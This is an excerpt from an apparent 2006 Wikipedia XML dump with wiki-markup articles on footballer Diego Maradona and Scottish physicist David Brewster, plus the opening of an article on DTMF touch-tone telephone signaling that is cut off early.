[[Category:Deus Ex]]
[[Category:Apple Macintosh games]]
[[Category:Multiplayer online games]]
[[Category:PlayStation 2 games]]
[[Category:Windows games]]
[[Category:Eidos Interactive games]]

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    </revision>
  </page>
  <page>
    <title>Diego Maradona</title>
    <id>8485</id>
    <revision>
      <id>42102606</id>
      <timestamp>2006-03-03T21:16:12Z</timestamp>
      <contributor>
        <ip>205.188.116.200</ip>
      </contributor>
      <comment>/* Retirement and honours */</comment>
      <text xml:space="preserve">{{redirect|Maradona}}
{{Football player infobox |
  playername = Diego Maradona |
  image = [[Image:Diego-armando-maradona.jpg|200px]] |
  fullname = Diego Armando Maradona |
  nickname = ''El Diez'', ''Pelusa'', ''El Diego'',&lt;br&gt;''El Pibe de Oro''  |
  dateofbirth = [[October 30]], [[1960]] |
  cityofbirth = [[Villa Fiorito]] |
  countryofbirth = [[Argentina]] |
  currentclub  = Retired |
  position = &quot;Hole&quot; |
  youthyears = [[1974]]-[[1976|76]] |
  youthclubs = [[Argentinos Juniors]] |
  years = [[1976]]-[[1981|81]]&lt;br/&gt;[[1981]]-[[1982|82]]&lt;br/&gt;[[1982]]-[[1984|84]]&lt;br/&gt;[[1984]]-[[1991|91]]&lt;br/&gt;[[1992]]-[[1993|93]]&lt;br/&gt; [[1993]]&lt;br/&gt;[[1995]]-[[1997|97]]|
  clubs = [[Argentinos Juniors]]&lt;br/&gt;[[Boca Juniors]]&lt;br/&gt;[[FC Barcelona]]&lt;br/&gt;[[SSC Napoli]]&lt;br/&gt;[[Sevilla FC]]&lt;br/&gt;[[Newell's Old Boys]]&lt;br/&gt;[[Boca Juniors]] |
  caps(goals) = 166 (116)&lt;br/&gt;42 (28)&lt;br/&gt;58 (38)&lt;br/&gt;259 (115)&lt;br/&gt;29 (7)&lt;br/&gt;5 (0)&lt;br/&gt;29 (7) |
  nationalyears = [[1977]]-[[1994|94]] |
  nationalteam = [[Argentina national football team|Argentina]] |
  nationalcaps(goals) = 91 (34)
}}

'''Diego Armando Maradona''' ([[October 30]], [[1960]], [[Lanús]], [[Buenos Aires]]), nicknamed ''El Diez''{{Inote|ESPN Eportes [[28 July]] [[2005]]|ESPNEportes20050728}}, ''Pelusa'', ''El Diego'' and ''El pibe de oro'', is a former [[Argentina|Argentine]] [[football (soccer)|football]] player. 
He is regarded by many as the best player in the history of the game [http://sportsillustrated.cnn.com/soccer/news/2000/12/11/pele_maradona/]. He is also one of the most controversial.


==Early years==
Diego Armando Maradona was born in [[Villa Fiorito]], a [[villa miseria|shantytown]] in the southern outskirts of [[Buenos Aires]], to a poor family who had relocated from [[Corrientes Province]]. He was the first son after three girls. He has two younger brothers, Hugo (''el turco'') and Eduardo (Lalo), both of whom were also professional footballers.

At age 10, Maradona was spotted by a talent scout while he was playing in his neighborhood club Estrella Roja. He became a staple of the ''cebollitas'', the junior team of Buenos Aires side [[Argentinos Juniors]]. As a ball-boy in first division games, he amused spectators by showing his wizardry with the ball during the halftime intermissions.

==Career as a player==
At age 15, Maradona made his debut with Argentinos Juniors, where he played between [[1976]] and [[1981]] before his transfer to the club that he supported, [[Boca Juniors]], where he played during the remainder of the 1981 season and [[1982]] and secured his first league title.  He debuted with the [[Argentina national football team]] (&quot;la selección&quot;), at age 16, against [[Hungary]]. At age 18, he played the [[Football World Youth Championship]] for Argentina, and was the star of the tournament, shining in their 3&amp;ndash;1 final win over the [[USSR national football team|USSR team]].

In 1982, Maradona played his first [[Football World Cup 1982|World Cup]] tournament. In the first round, Argentina, as defending champions, lost to [[Belgium national football team|Belgium]] 0-1. Although the team convincingly beat [[Hungary national football team|Hungary]] and [[El Salvador national football team|El Salvador]] to progress to the second round, they were defeated in the second round by [[Italy national football team|Italy]] (1:2), the side which eventually won the cup, and [[Brazil national football team|Brazil]] (1:3), during which game Maradona was sent off for kicking an opponent. 

[[Image:MVC-074S.JPG|thumb|One of Diego's Boca shirts - circa 1982]]

Later in the year, Maradona was transferred to [[FC Barcelona]]. In [[1983]], under coach [[César Luis Menotti]], Barcelona and Maradona won the [[Copa del Rey]] (Spain's annual national cup competition), beating [[Real Madrid]]. However, Maradona had an unhappy tenure in Barcelona: first a bout with [[hepatitis]], and then  an ill-timed tackle by [[Athletic Bilbao]]'s [[Andoni Goikoetxea]] that put Maradona's career on the line; Diego's physical strength and willpower made it possible for him to be back on the pitch after only 14 weeks.

Barcelona's management was not satisfied with Maradona, and in [[1984]] transferred him to [[SSC Napoli]], where he became an adored star, lifting the team to its most successful era. Napoli won their only [[Serie A|Italian Championships]] ([[1986]]/[[1987|87]] and [[1989]]/[[1990]]), a [[Coppa Italia]] ([[1987]]), a [[UEFA Cup]] ([[1989]]) and an [[SuperCoppa Italiana|Italian Supercup]] (1990). Napoli were also runners-up in the Italian Championship twice (1987/88 and 1988/89).

Maradona led the Argentine national team to victory in the {{Wc|1986}}, the team winning 3&amp;ndash;2 in the final against [[Germany national football team|West Germany]]. Throughout the 1986 World Cup, Maradona asserted his dominance and was widely regarded as the best player of the tournament. However, it was the two goals he scored in the quarterfinal game against [[England national football team|England]] which cemented his legend. Action replay footage showed that the first [[Goal_(sport)|goal]] was scored with the aid of his [[hand]]. He later claimed it was the &quot;[[Hand of God goal|Hand of God]]&quot; and described it as &quot;A little of the hand of God, and a little of the head of Maradona,&quot; implying that God was ultimately responsible for the goal, because the [[referee (football)|referee]] had missed the handball offense. However, on [[22 August]] [[2005]] Maradona acknowledged on his new television talk show that he hit the ball with his hand purposely and that he immediately knew the goal was illegitimate. He recalled thinking right after the goal that &quot;I was waiting for my teammates to embrace me, and no one came . . . I told them, 'Come hug me, or the referee isn't going to allow it.'&quot; [http://sports.yahoo.com/sow/news?slug=ap-maradona-handofgod&amp;prov=ap&amp;type=lgns]

In contrast, however, Maradona's second goal was an uncontroversial and impressive display of footballing skill. He ran half the length of the pitch, passing five English players ([[Glenn Hoddle]], [[Peter Reid]], [[Kenny Sansom]], [[Terry Butcher]], and [[Terry Fenwick]]) as well as goalkeeper [[Peter Shilton]]. This goal was voted [[Goal of the Century]] in a [[2002]] online poll conducted by [[FIFA]]. Argentina went on to defeat England 2-1 in that game. The two goals were ranked 6th in Channel 4's [[100 Greatest Sporting Moments]] in 2002.

Maradona also captained Argentina in the {{Wc|1990}}, leading his team to the final, where they lost 1&amp;ndash;0 to West Germany. He arrived at the {{Wc|1994}} and played two games (scoring one goal) before being sent home after failing a [[drug test]] for [[ephedrine]] [[doping (sport)|doping]]. On this matter, he has suggested that he had an agreement, on which FIFA later reneged, to allow him to use the drug for weight loss before the competition in order to be able to play, so that the World Cup would not lose prestige because of his absence. This allegation was never proved, and many attribute his comment (&quot;they cut off my legs&quot;) to Diego's anger at being suspended.

In Naples, where he is still beloved (having brought the local team their first [[scudetto]]), he also faced a scandal regarding an illegitimate son and was the object of some suspicion over his friendship with the [[Camorra]], the local [[mafia]].

Maradona left Napoli in [[1992]], after serving a 15-month ban for failing the [[drug test]] for [[cocaine]], and played for [[Sevilla FC]] ([[1992]]&amp;ndash;[[1993|93]]), [[Newell's Old Boys]] (1993) and Boca Juniors ([[1995]]&amp;ndash;[[1997|97]]). He also attempted to work as a [[coach (sport)|coach]] on two short stints, leading [[Mandiyú]] of Corrientes ([[1994]]) and [[Racing Club de Avellaneda|Racing Club]] (1995) without much success. He retired from football on [[October 30]], [[1997]].

On [[January 26]], [[1997]], Maradona discussed on live [[Ecuador]]ian TV with Ecuadorian president [[Abdalá Bucaram]] about playing in Bucaram's [[Barcelona Sporting Club|Barcelona SC]] team, but nothing ever came out of this, as Bucaram was ousted by a [[coup d'état]].

==Personal Agents==
Jorge Cyterszpiller, a childhood friend, was Diego's first agent. He set up ''Maradona Producciones'' but did not score any major successes with merchandising, as counterfeiters would quickly imitate any product that came on the market. On his advice, Maradona started charging for interviews, a move that generated some controversy.   

After breaking up with Cyterszpiller, Diego hooked up with Guillermo Coppola, a bank employee who started representing players as a hobby and evolved into a major agent. Coppola oversaw the biggest contracts of Diego's career, but also was involved in the drug scandals of the early 1990s. Maradona and Coppola parted ways acrimoniously, and they still refer to the end of their relations as an &quot;open wound&quot;. 

==Retirement and honours==
In [[2000]], Maradona published his autobiography ''Yo Soy El Diego'' (&quot;I am ''The  Diego''&quot;), which became an instant [[bestseller]] in his home country. In the same year, Maradona was voted Player of the Century in an official FIFA [[opinion poll|poll]] conducted on the [[Internet]], garnering 53.6% of the votes. Then, in an unannounced move, FIFA appointed a &quot;Football Family&quot; committee, which voted to elect [[Pelé]] alongside the Argentine. Maradona cried foul and left the awards ceremony as soon as his prize was awarded. (For more on FIFA's handling of the issue, see this [http://sportsillustrated.cnn.com/soccer/news/2000/12/11/pele_maradona/ Sports Illustrated article].)

In [[2001]], the [[Argentine Football Association]] asked FIFA for authorization to retire [[jersey number]] 10 as a homage to Maradona. Even though Argentine officials have claimed that FIFA hinted that it would grant the request, the authorization was denied.

Maradona has won other polls, including a [[2002]] FIFA poll in which his second goal against England was chosen as the [[Goal of the Century|best goal ever scored in a World Cup]]; he also won the most votes in a poll to determine the All-Time Ultimate World Cup Team.

On [[22 June]] [[2005]], it was announced that Maradona would return to [[Boca Juniors]] as a sports vice president in charge of managing the First Division roster (after a disastrous [[2004-2005 in Argentine football|2004&amp;ndash;05]] season, which coincided with Boca's centenary). His contract began [[1 August]] [[2005]], and one of his first reccomendations proved to be very effective: he was the one who decided to hire [[Alfio Basile]] as the new coach. With Maradona staying very close to the players, Boca went on to win the 2005 [[Apertura]] title, the [[Copa Sudamericana]] and the [[Recopa]]. Maradona remains aloof of day-to-day activities.

On [[15 August]] [[2005]], Maradona made his debut as host of a talk-variety show on Argentine television, ''[[La Noche del 10]]'' (&quot;The Night of  #10&quot;). His main guest on opening night was Pelé; the two had a friendly chat, showing no signs of past differences. In subsequent programs, he led the ratings with only one exception. Almost all guests were drawn from the worlds of football and show business.

==Personal Life==
Maradona married long-time fiancée Claudia Villafañe on [[November 7]], [[1989]] in Buenos Aires, after she gave birth to their  daughters, Dalma Nerea (b. 1987) and Giannina Dinorah (b. 1989). In his autobiography, Maradona admits not always being faithful to Claudia, even though he refers to her as the love of his life.

Diego and Claudia [[divorce]]d in 2004. Daughter Dalma has since asserted that the divorce was the best solution for all, as her parents remained on friendly terms. Diego and Claudia traveled together to Napoli for a series of homages in June 2005. [http://espndeportes.espn.go.com/story?id=334497]

During the divorce proceedings, Maradona admitted he was the father of [[Diego Sinagra]] (b. [[Naples]], 1986), as was claimed by his mother, Cristiana Sinagra. (The Italian courts had so ruled in 1993, after Maradona refused to undergo [[DNA]] tests for proving or disproving his paternity.) He met Maradona for the first time in May 2003 after the 17 year old tricked his way onto a golf course in Naples where Maradona was playing. Diego had spells on trial with [[Blackburn Rovers]] and [[Dunfermline Athletic]]. [http://espndeportes.espn.go.com/story?id=334523]

After the divorce, Claudia embarked on a career as a theater producer, and Dalma is seeking an acting career; she has expressed her desire to attend the [[Actor's Studio]] in [[Los Angeles]]. [http://www.clarin.com/diario/2005/06/03/espectaculos/c-00811.htm], [http://www.clarin.com/diario/2005/06/19/sociedad/s-998340.htm]

==Health situation==
In marked contrast to the athleticism he showed during his years as a football player, since his retirement Maradona has been plagued by a series of health problems. 

Since the 1990s, Maradona has been battling a [[cocaine]] [[Drug addiction|addiction]], which included spells in [[Switzerland|Swiss]] and Cuban detox clinics. Between 2002 and 2005, Maradona spent most of this time in Cuba.

On [[April 18]] [[2004]], doctors reported that Maradona had suffered a major [[myocardial infarction|heart attack]] following a cocaine overdose; he was admitted to intensive care in a Buenos Aires hospital. Scores of fans gathered around the clinic. Days after the heart attack, a nurse was caught taking photos of Maradona with a [[cellular telephone]] and was promptly fired by the hospital managers.

After he showed improvement, Maradona was taken off the respirator on April 23 and remained in intensive care for several days before being discharged on April 29. He returned to Cuba in May.

Maradona has always had a tendency to put on weight, and has displayed a remarkable level of [[obesity]] since the late 1990s. On [[March 6]] [[2005]], it was announced that Maradona underwent [[gastric bypass surgery]] in a clinic in [[Cartagena de Indias]], [[Colombia]]. When Maradona resumed public appearances shortly afterwards, he displayed a notably thinner figure.

==Football style==
Short and stocky, Maradona had a very strong physique and could withstand physical pressure better than almost all players. His strong legs and low center of gravity gave him additional advantage in short sprints. This is illustrated by his two goals against Belgium in the 1986 World Cup.

He was also a wizard with the ball and could manage himself in limited spaces, attracting defenders only to quickly dash out of the melee (as in the second goal against England), or pass to a free teammate who would take the ball and score, like [[Jorge Burruchaga|Burruchaga]] did to secure the 1986 World Cup.

Maradona could convert fragile possessions into goals. His goal against Italy in the 1986 World Cup demonstrated this. In Maradona's time defenses became more athletic, so both dribbling and securing possession of the ball required additional speed and the ability to think under stress.

One of Maradona's trademark moves was [[dribbling]] full-speed as a left wing, and on reaching the opponent's goal line, delivering accurate passes to his teammates that many times proved lethal. Another trademark was the ''[[Rabona]]'' or reverse-cross pass (shot behind the leg that holds all the weight), with which he provided several assists, such as the powerful cross for [[Ramón Díaz]]'s headed goal in the 1984 friendly match against [[Switzerland national football team|Switzerland]]. 

Maradona's kicking had a mixture of precision and power that enabled him to score many free kicks. Since he seldom used his right foot for any decisive action, defenders were confounded the few times he did.

==Political views==
In later years, Maradona has shown sympathy to [[Left-wing politics|left-wing]] ideologies. He became friends with [[Fidel Castro]] while in treatment in [[Cuba]], and has a [[tattoo]] of [[Ernesto Guevara|Ernesto ''Che'' Guevara]] on his right arm. He has declared his opposition to [[imperialism]], notably during the [[2005]] [[Mar del Plata Summit of the Americas|Summit of the Americas]] in [[Mar del Plata]], Argentina, where he protested [[George W. Bush]]'s presence in Argentina, wearing a ''Stop Bush'' T-shirt.

==Reputation==
Ever since 1986, it is common for Argentines abroad to hear Maradona's name as a token of recognition, even in remote places. In Argentina, Maradona is often talked about in terms reserved for legends. In the Argentine film ''Son of the Bride'' (''El Hijo de la Novia''), an actor who impersonates a [[Roman Catholic Church|Catholic]] [[Priest#Catholic_and_Orthodox|priest]] says to a bar patron: &quot;they idolized him and then crucified him&quot;. When scolded by a friend for taking the prank too far (by elaborating on the [[passion]] of [[Jesus]]), the fake priest retorts: &quot;But I was talking about Maradona&quot;.

In Buenos Aires, fans organized the &quot;Church of Maradona.&quot; Maradona's 43rd birthday in 2003 marked the start of the Year 43 D.D. - &quot;despues de Diego&quot; or After Diego - for its founding 200 members. Tens of thousands more have become members via the Church's official web site.

Commentators in Argentina have often compared Maradona to [[Esteban Laureano Maradona]] ([[1895]]&amp;ndash;[[1995]]), a [[physician]] who helped indigenous communities achieve better health standards, and was the recipient of the 1987 [[United Nations|UN]] Medicine for Peace prize. Dr. Maradona was renowned for his modesty, and worked until he turned ninety, so the comparison was often unfavorable to the footballer. Broadcaster [[Alejandro Dolina]] was the first to denounce the unfairness of this treatment.

Hounded for years by [[yellow journalism]], Maradona even fired a [[air rifle|compressed-air rifle]] against reporters who, so he claimed, invaded his privacy. This quote from former teammate [[Jorge Valdano]] summarizes the feelings of many: 
:He is someone many people want to emulate, a controversial figure, loved, hated, who stirs great upheaval, especially in Argentina... Stressing his personal life is a mistake. Maradona has no peers inside the pitch, but he has turned his life into a show, and is now living a personal ordeal that should not be imitated. &lt;!--Es un personaje al que mucha gente quiere imitar, un personaje polémico, amado, odiado, que provoca gran convulsión social, sobre todo en Argentina... El error está en poner el acento sobre su vida privada. Maradona es incomparable dentro de un campo de juego, pero también ha convertido en espectáculo su vida y ahora está viviendo un drama personal que conviene no imitar.--&gt;[http://www.el-mundo.es/larevista/num103/textos/valdano1.html]

A columnist for the sports daily ''Olé'' welcomed Maradona's hosting a TV show in 2005, noting that &quot;for the first time, he seems to have found his place in the world outside the football pitch&quot;.

==Career statistics==
===International===
*[[1977]]&amp;ndash;[[1994]] Argentina (91 appearances, 34 goals) 
*21 appearances in four [[Football World Cup|FIFA World Cup]] Championships (1982, [[1986]], [[1990]], 1994)
*{{nft|Argentina}} second-highest goal-scorer (held the record until surpassed by [[Gabriel Batistuta]])

===Club honours===
*1981 [[Primera División Argentina|Argentine league]] (Boca Juniors) 
*[[1987]] [[Serie A|Italian league]] (SSC Napoli)
*1987 [[Coppa Italia|Italian Cup]] (SSC Napoli)
*[[1988]] [[Serie A|Italian]] top-scorer (SSC Napoli)
*[[1989]] [[UEFA Cup]] (SSC Napoli)
*1990 [[Serie A|Italian league]] (SSC Napoli)
*1991 [[Supercoppa Italiana|Italian Super Cup]] (SSC Napoli)

===International honours===
*[[1979]] FIFA [[Football World Youth Championship|World Youth Championship]]
*1986 FIFA [[Football World Cup|World Cup]] winner 
*1990 FIFA World Cup runner-up 
*[[1993]] Copa Artemio Franchi 

===Coaching career===
*1994 Mandiyú de Corrientes 
*[[1995]] Racing Club de Avellaneda
*[[2005]] Boca Juniors (Football vice-president) 

===Individual honours===
*1979&amp;ndash;1981, 1986 Argentine Football Writers' Footballer of the Year 
*1979, 1986, 1989, 1990, 1992 South American Footballer of the Year (El Mundo, Caracas) 
*1986 Argentine Sports Writers' Sportsman of the Year 
*1986 Golden Ball for Best Player of the FIFA World Cup 
*1986 European Footballer of the Year (France Football) 
*1986&amp;ndash;1987 Best Footballer in the World (Onze) 
*1986 World Player of the Year (World Soccer Magazine)
*1996 Golden Ball for services to cccfootball (France Football) 
*1999 Argentine Sports Writers' Sportsman of the Century 
*2000 &quot;FIFA best football player of the century&quot;, people's choice.
*2002 &quot;FIFA [[Goal of the Century]]&quot; (1986 (2&amp;ndash;0) v. England; second goal)
*2005 [[Argentine Senate]] ''&quot;Domingo Faustino Sarmiento&quot;'' recognition for lifetime achievement.


{{start box}}
{{succession box|title=[[South American Footballer of the Year]]|before=[[Mario Kempes]] |after=retained |years=1979}}
{{succession box|title=[[South American Footballer of the Year]]|before=current holder |after=[[Zico]] |years=1980}}
{{succession box|title=[[World Soccer Magazine|World Player of the Year]]|before=[[Michel Platini]] |after=[[Ruud Gullit]] |years=1986}}
{{succession box |title=[[FIFA World Cup]]&lt;br&gt;winning [[captain (football)|captain]] |
  before=[[Dino Zoff]]&lt;br&gt;[[Italy national football team|(Italy)]] |
  after=[[Lothar Matthäus]]&lt;br&gt;[[Germany national football team|(West Germany)]]|
  years='''[[Football World Cup 1986|1986]]'''}}
{{end box}}

==References==
*[http://espndeportes.espn.go.com/story?id=349221 'El Diez emprende dos nuevos desafíos', ''ESPN Deportes''] ([[July 28]] [[2005]]). Retrieved [[August 17]] [[2005]].
*[http://sports.yahoo.com/sow/news?slug=reu-maradonatv&amp;prov=reuters&amp;type=lgns &quot;Zidane, Ronaldo to appear on Maradona TV show&quot;, Reuters/Yahoo!] ([[August 19]] [[2005]]). Retrieved [[August 20]] [[2005]].
&lt;!--*[http://www.dios.com &quot;web of de dios&quot;, Reuters/Yahoo! ([[August 19]] [[2005]])]. Retrieved [[October 07]] [[2005]].--&gt;

==External links==
{{wikiquote}}
* [http://www.homenajeal10.com.ar/ Homenaje al 10 - Diego Maradona's Tribute] (Spanish)
* [http://www.diegofutbol.com/ Maradona History, Stats, and Media] (Spanish)
* [http://www.diegomaradona.com/ Diego Maradona's home page]
* [http://www.expertfootball.com/players/maradona/ Diego Maradona] Biography and pictures
* [http://fifaworldcup.yahoo.com/02/en/pf/h/gotc/launch.html Video clip of the Goal Of the Century ]

[[Category:1960 births|Maradona, Diego]]
[[Category:Argentine footballers|Maradona, Diego]]
[[Category:Argentine television personalities|Maradona, Diego]]
[[Category:Argentinos Juniors footballers|Maradona, Diego]]
[[Category:Boca Juniors footballers|Maradona, Diego]]
[[Category:FC Barcelona footballers|Maradona, Diego]]
[[Category:FIFA 100|Maradona, Diego]]
[[Category:Football (soccer) midfielders|Maradona, Diego]]
[[Category:Living people|Maradona, Diego]]
[[Category:Newell's Old Boys footballers|Maradona, Diego]]
[[Category:People from Buenos Aires Province|Maradona, Diego]]
[[Category:Sevilla FC footballers|Maradona, Diego]]
[[Category:Television talk show hosts|Maradona, Diego]]

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[[zh:马拉多纳]]</text>
    </revision>
  </page>
  <page>
    <title>David Brewster</title>
    <id>8487</id>
    <revision>
      <id>38013677</id>
      <timestamp>2006-02-03T16:30:41Z</timestamp>
      <contributor>
        <username>Sheynhertz-Unbayg</username>
        <id>154084</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''see also '''[[David Josiah Brewer]]'''''
----
[[Image:Dbrewster.jpg|thumb|right|David Brewster]]
'''Sir David Brewster''', ([[December 11]], [[1781]] &amp;ndash; [[February 10]], [[1868]]) was a [[Scotland|Scottish]] scientist and writer.

He was born at [[Jedburgh]], where his father, a teacher of high reputation, was rector of the [[grammar school]]. At the age of twelve he was sent to the [[University of Edinburgh]], being intended for the clergy. However, he had already shown a strong inclination for natural science, and this had been fostered by his intimacy with a &quot;self-taught [[philosophy|philosopher]], [[astronomy|astronomer]] and [[mathematics|mathematician]],&quot; as Sir [[Walter Scott]] called him, of great local fame&amp;mdash;[[James Veitch]] of [[Inchbonny]], who was particularly skilful in making [[telescope]]s. 

Though he duly finished his [[theology|theological]] course and was licensed to preach, Brewster's other interests distracted him from the duties of his profession. In [[1799]] he was persuaded by his fellow-student, Henry Brougham, to study the [[diffraction]] of [[light]]. The results of his investigations were communicated from time to time in papers to the [[Philosophical Transactions]] of [[London]] and other scientific journals. The fact that other philosophers, notably [[Etienne Louis Malus]] and [[Augustin Fresnel]], were pursuing the same investigations contemporaneously in [[France]] does not invalidate Brewster's claim to independent discovery, even though in one or two cases the priority must be assigned to others. 

The most important subjects of his inquiries can be enumerated under the following five headings: (1) The laws of [[polarization]] by [[Reflection (physics)|reflection]] and [[refraction]], and other quantitative laws of phenomena; (2) The discovery of the polarizing structure induced by [[heat]] and [[pressure]]; (3) The discovery of crystals with two axes of double refraction, and many of the laws of their phenomena, including the connection between optical structure and crystalline forms; (4) The laws of [[metal]]lic reflection; (5) Experiments on the absorption of light. In this line of investigation the prime importance belongs to the discovery (1) of the connection between the refractive index and the polarizing angle, (2) of biaxial crystals, and (3) of the production of double refraction by irregular heating. 

These discoveries were promptly recognized. So early as the year [[1807]] the degree of LL.D. was conferred upon Brewster by [[Marischal College]], [[Aberdeen, Scotland|Aberdeen]]; in [[1815]] he was made a member of the [[Royal Society|Royal Society of London]], and received the [[Copley Medal|Copley medal]]; in [[1818]] he received the [[Rumford Medal]] of the society; and in [[1816]] the [[French Institute]] awarded him one-half of the prize of three thousand francs for the two most important discoveries in physical science made in Europe during the two preceding years. 

Among the non-scientific public his fame was spread more effectually by his rediscovery in about [[1815]] of the [[kaleidoscope]], for which there was a great demand in both the United Kingdom and the [[United States]]. An instrument of higher interest, the [[stereoscope]], which, though of much later date ([[1849]]&amp;ndash;[[1850]]), may be mentioned here, since along with the kaleidoscope it did more than anything else to popularize his name, was not, as has often been asserted, the invention of Brewster. Sir [[Charles Wheatstone]] discovered its principle and applied it as early as [[1838]] to the construction of a cumbersome but effective instrument, in which the binocular pictures were made to combine by means of [[mirror]]s. To Brewster is due the merit of suggesting the use of [[Lens (optics)|lenses]] for the purpose of uniting the dissimilar pictures; and accordingly the lenticular stereo-scope may fairly be said to be his invention. 

A much more valuable practical result of Brewster's optical researches was the improvement of the British [[lighthouse]] system. It is true that the dioptric apparatus was perfected independently by Fresnel, who had also the satisfaction of being the first to put it into operation. But it is indisputable that Brewster was earlier in the field than Fresnel; that he described the dioptric apparatus in [[1812]]; that he pressed its adoption on those in authority at least as early as [[1820]], two years before Fresnel suggested it; and that it was finally introduced into lighthouses mainly by his persistent efforts. 

Brewster's own discoveries, important though they were, were not his only, perhaps not even his chief, service to science. He began literary work in [[1799]] as a regular contributor to the [[Edinburgh Magazine]], of which he acted as editor at the age of twenty. In [[1807]] he undertook the editorship of the newly projected [[Edinburgh Encyclopaedia]], of which the first part appeared in [[1808]], and the last not until [[1830]]. The work was strongest in the scientific department, and many of its most valuable articles were from the pen of the editor. At a later period he was one of the leading contributors to the Encyclopædia Britannica (seventh and eighth editions), the articles on [[electricity]], [[hydrodynamics]], [[magnetism]], [[microscope]], [[optics]], [[stereoscope]], [[voltaic electricity]], etc., being from his pen. 

In [[1819]] Brewster undertook further editorial work by establishing, in conjunction with [[Robert Jameson]] ([[1774]]&amp;ndash;[[1854]]), the [[Edinburgh Philosophical Journal]], which took the place of the Edinburgh magazine. The first ten volumes ([[1819]]&amp;ndash;[[1824]]) were published under the joint editorship of Brewster and Jameson, the remaining four volumes ([[1825]]&amp;ndash;[[1826]]) being edited by Jameson alone. After parting company with Jameson, Brewster started the [[Edinburgh Journal of Science]] in [[1824]], sixteen volumes of which appeared under his editorship during the years [[1824]]&amp;ndash;[[1832]], with very many articles from his own pen. 

To the transactions of various learned societies he contributed from first to last between three and four hundred papers, and few of his contemporaries wrote so much for the various reviews. In the [[North British Review]] alone seventy-five articles of his appeared. A list of his larger separate works will be found below. Special mention, however, must be made of the most important of them all&amp;ndash;his biography of Sir [[Isaac Newton]]. In [[1831]] he published a short popular account of the philosopher's life in Murray's Family Library; but it was not until [[1855]] that he was able to issue the much fuller ''Memoirs of the Life, Writings and Discoveries of Sir Isaac Newton'', a work which embodied the results of more than twenty years' patient investigation of original manuscripts and all other available sources. 

Brewster's relations as editor brought him into frequent communication with the most eminent scientific men, and he was naturally among the first to recognize the benefit that would accrue from regular intercourse among workers in the field of science. In an article in the [[Quarterly Review]] he made a suggestion for &quot;an association of our nobility, clergy, gentry and philosophers,&quot; which was taken up by others and found speedy realization in the [[British Association for the Advancement of Science]]. Its first meeting was held at [[York]] in [[1831]]; and Brewster, along with [[Charles Babbage]] and Sir [[John Herschel|John F. W. Herschel]], had the chief part in shaping its constitution. 

In the same year in which the British Association held its first meeting, Brewster received the honour of knighthood and the decoration of the [[Guelphic order of Hanover]]. In [[1838]] he was appointed principal of the united colleges of St Salvator and St Leonard, [[University of St Andrews]]. In [[1849]] he acted as president of the British Association and was elected one of the eight foreign associates of the [[Institute of France]] in succession to J. J. Berzelius; and ten years later he accepted the office of principal of the University of Edinburgh, the duties of which he discharged until within a few months of his death.

Of high-strung and nervous temperament, Brewster was somewhat irritable in matters of controversy; but he was repeatedly subjected to serious provocation. He was a man of highly honourable and fervently religious character.  In estimating his place among scientific discoverers the chief thing to be borne in mind is that the bent of his genius was not characteristically mathematical. His method was empirical, and the laws which he established were generally the result of repeated experiment. To the ultimate explanation of the phenomena with which he dealt he, contributed nothing, and it is noteworthy in this connection that if he did not maintain to the end of his life the corpuscular theory he never explicitly adopted the wave theory of light. Few would dispute the verdict of James D. Forbes, an editor of the eighth edition of the [[Encyclopædia Britannica]]: &quot;His scientific glory is different in kind from that of [[Thomas Young (scientist)|Young]] and Fresnel; but the discoverer of the law of polarization of biaxial crystals, of optical mineralogy, and of double refraction by compression, will always occupy a foremost rank in the intellectual history of the age.&quot; In addition to the various works of Brewster already mentioned, the following may be added: ''Notes and Introduction to Carlyle's translation of Legendre's Elements of Geometry'' ([[1824]]); ''Treatise on Optics'' ([[1831]]); ''Letters on Natural Magic'', addressed to Sir Walter Scott ([[1831]]); ''The Martyrs of Science, or the Lives of Galileo, Tycho Brahe, and Kepler'' ([[1841]]); ''More Worlds than One'' ([[1854]]).

See also [[Brewsters angle|Brewster's angle]].

==References==
*{{1911}}
*{{A Short Biographical Dictionary of English Literature}}

==External links==
* [http://www-ah.st-and.ac.uk/mgstud/reflect/david.html Sir David Brewster] -- a short biography
* [http://www.brewstersociety.com/ The Brewster Kaleidoscope Society]

[[Category:Natives of the Scottish Borders|Brewster, David]]
[[Category:Scottish scholars|Brewster, David]]
[[Category:Scottish physicists|Brewster, David]]
[[Category:Scottish writers|Brewster, David]]
[[Category:Scottish philosophers|Brewster, David]]
[[Category:Scottish astronomers|Brewster, David]]
[[Category:Scottish mathematicians|Brewster, David]]
[[Category:1781 births|Brewster, David]]
[[Category:1868 deaths|Brewster, David]]
[[Category:Fellows of the Royal Society|Brewster, David]]
[[Category:University of Edinburgh alumni|Brewster, David]]
[[Category:University_of_St_Andrews_academics|Brewster, David]]
[[Category:University of Aberdeen|Brewster, David]]
[[Category:Encyclopedists|Brewster, David]]
[[Category:Toy inventors|Brewster, David]]
[[de:David Brewster]]
[[fr:David Brewster]]
[[gl:David Brewster]]
[[ja:&amp;#12487;&amp;#12451;&amp;#12532;&amp;#12451;&amp;#12483;&amp;#12489;&amp;#12539;&amp;#12502;&amp;#12522;&amp;#12517;&amp;#12540;&amp;#12473;&amp;#12479;&amp;#12540;]]
[[sl:David Brewster]]
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    </revision>
  </page>
  <page>
    <title>Dual-tone multi-frequency</title>
    <id>8488</id>
    <revision>
      <id>34167825</id>
      <timestamp>2006-01-06T22:36:05Z</timestamp>
      <contributor>
        <ip>85.157.108.84</ip>
      </contributor>
      <text xml:space="preserve">'''Dual-tone multifrequency''' ('''DTMF'''), also known as '''Touch Tone''' or '''Tone Dialing''', is used for [[telephone]] signaling over the line in the [[Sound|voice frequency]] band to the call [[Automatic telephone exchange|switching]] center. DTMF is an example of a ''multifrequency shift keying'' ([[MFSK]]) system. Today DTMF is used for most call setup to the telephone exchange, at least in the Western world, and trunk signalling is now done [[out-of-band signaling|out of band]] using the [[SS7]] signaling system.  The trunk signalling tones were different from the tones known as touch tone with a triangular matrix being used rather than a square matrix.  See: [[blue box]] for more details on the switching tones.

Prior to DTMF the phone systems had used a system known as [[pulse dialing]] to dial numbers, which works by rapidly disconnecting and connecting the [[calling party]]'s phone line, like flicking a light switch on and off. The repeated connection and disconnection sounds like a series of clicks. This was useful only as far as the local ''end office'' where the wires stopped, requiring operator intervention for long distance dialing.

